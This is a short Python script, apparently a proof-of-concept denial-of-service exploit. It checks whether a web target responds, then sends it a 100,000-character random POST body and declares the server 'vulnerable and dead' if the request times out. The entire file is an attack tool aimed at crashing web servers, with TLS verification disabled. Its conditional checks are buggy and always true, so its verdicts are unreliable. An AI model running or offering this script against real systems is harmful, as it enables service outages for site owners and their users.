import random import string import sys import urllib3 import requests urllib3.disable_warnings() def attack(target, porot): url = f"{porot}://{target}/" try: print("[+] Check if the target is alive") check = requests.get(url, timeout=10, verify=False) if check.status_code == 200 or 301 or 302 or 303: print("[+] Target is alive") print("[+] Sending your request...") create = string.ascii_uppercase payload = ''.join(random.choice(create) for i in range(100000)) Headers = {"Connection": "close", "Content-Type": "application/x-www-form-urlencoded"} Data = f"{payload}" try: att = requests.post(url, headers=Headers, data=Data, verify=False, timeout=5) print("[-] Target is not Vulnerable") sys.exit() except requests.exceptions.Timeout: print("[+] Target vulnerable and dead now") else: print("[-] Your Target is not Alive") except Exception as error: print("[-]", error) try: if sys.argv[2] == "http" or "https": attack(sys.argv[1], sys.argv[2]) else: print("[-] Please enter a valid protocol (http or https)") except IndexError: print("[-] Please Set your target \n ex: exploit.py target protocol")